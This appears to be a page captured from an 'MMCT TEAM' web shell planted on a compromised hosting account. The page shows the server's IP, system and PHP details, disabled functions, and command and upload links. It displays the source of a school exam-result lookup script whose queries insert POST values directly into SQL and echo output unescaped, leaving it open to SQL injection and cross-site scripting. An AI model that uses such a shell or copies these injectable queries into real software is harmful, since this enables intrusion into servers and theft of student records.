MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/findresult.php
<?php
include('admin/config.php');
if (isset($_POST['dob'])) { 
    $roll_no=$_POST['roll_no'];
    $dob=$_POST['dob'];

    $q = "SELECT students.*,students.id as student_id,results.*, results.id as res_id,class.class_name,house.house_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN class ON students.class_id=class.id LEFT JOIN house ON house.id=students.house_id WHERE students.id='$roll_no' AND dob='$dob'";

    $query = mysqli_query($conn,$q);
    $res = mysqli_fetch_array($query); 
    ?>
    <table class="table table-bordered" style="widtd:100%">
        <tr>
           <td><b>Name Of The Student</b></td>
           <td><?php echo $res['student_name']; ?></td>
           <td><b>Roll No.</b></td>
           <td><?php echo $res['student_id']; ?></td>
           <td><b>S NO.</b></td>
           <td><?php echo $res['res_id']; ?></td>
           <td><b>Class</b></td>
           <td><?php echo $res['class_name']; ?></td>
       </tr>
   </table>
   <div class="table-responsive">
    <table class="table table-bordered">
        <thead>
            <tr>
                <?php 
                $q = "SELECT subjects.*,students.student_name FROM results LEFT JOIN result_list ON result_list.result_id=results.id LEFT JOIN subjects ON subjects.id=result_list.subject_id LEFT JOIN students ON students.id=results.student_id WHERE students.id='$roll_no' AND dob='$dob'";
                $query = mysqli_query($conn,$q);
                while($subject = mysqli_fetch_array($query)) { ?>

                    <th><?php echo $subject['subject_name']; ?></th>
                <?php } ?>
                <th>Total</th>
            </tr>
        </thead>
        <tr>
            <?php
            $pa1_total=0;
            $q = "SELECT result_list.*,students.student_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN result_list ON result_list.result_id=results.id WHERE students.id='$roll_no' AND dob='$dob'";
            $query = mysqli_query($conn,$q);
            while($res2 = mysqli_fetch_array($query)) { 
                $pa1_total+=$res2['pa1'];?>
                    <td><?php echo $res2['pa1']; ?></td>
                <?php } ?>
                <td><?php echo $pa1_total; ?></td>
            </tr>
            <tr>
                <?php
                $pa2_total=0;
                $q = "SELECT result_list.*,students.student_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN result_list ON result_list.result_id=results.id WHERE students.id='$roll_no' AND dob='$dob'";
                $query = mysqli_query($conn,$q);
                while($res2 = mysqli_fetch_array($query)) { 
                    $pa2_total+=$res2['pa2'];
                    if ($res2['pa2']!=0) { ?>
                        <td><?php echo $res2['pa2']; ?></td>
                    <?php } } if ($pa2_total!=0) { ?>
                        <td><?php echo $pa2_total; ?></td>
                    <?php } ?>
                </tr>
                <tr>
                    <?php
                    $t1_total=0;
                    $q = "SELECT result_list.*,students.student_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN result_list ON result_list.result_id=results.id WHERE students.id='$roll_no' AND dob='$dob'";
                    $query = mysqli_query($conn,$q);
                    while($res2 = mysqli_fetch_array($query)) { 
                        $t1_total+=$res2['theory1'];
                        if ($res2['theory1']!=0) { ?>
                            <td><?php echo $res2['theory1']; ?> / <?php echo $res2['practicle1']; ?></td>
                        <?php } } if ($t1_total!=0) { ?>
                            <td><?php echo $t1_total; ?></td>
                        <?php } ?>
                    </tr>
                    <tr>
                        <?php
                        $t2_total=0;
                        $q = "SELECT result_list.*,students.student_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN result_list ON result_list.result_id=results.id WHERE students.id='$roll_no' AND dob='$dob'";
                        $query = mysqli_query($conn,$q);
                        while($res2 = mysqli_fetch_array($query)) { 
                            $t2_total+=$res2['theory2'];
                            if ($res2['theory2']!=0) { ?>
                                <td><?php echo $res2['theory2']; ?> / <?php echo $res2['practicle2']; ?></td>
                            <?php } } if ($t2_total!=0) { ?>
                                <td><?php echo $t2_total; ?></td>
                            <?php } ?>
                        </tr>
                    <?php } ?>
                </table>
                

MMCT - 2023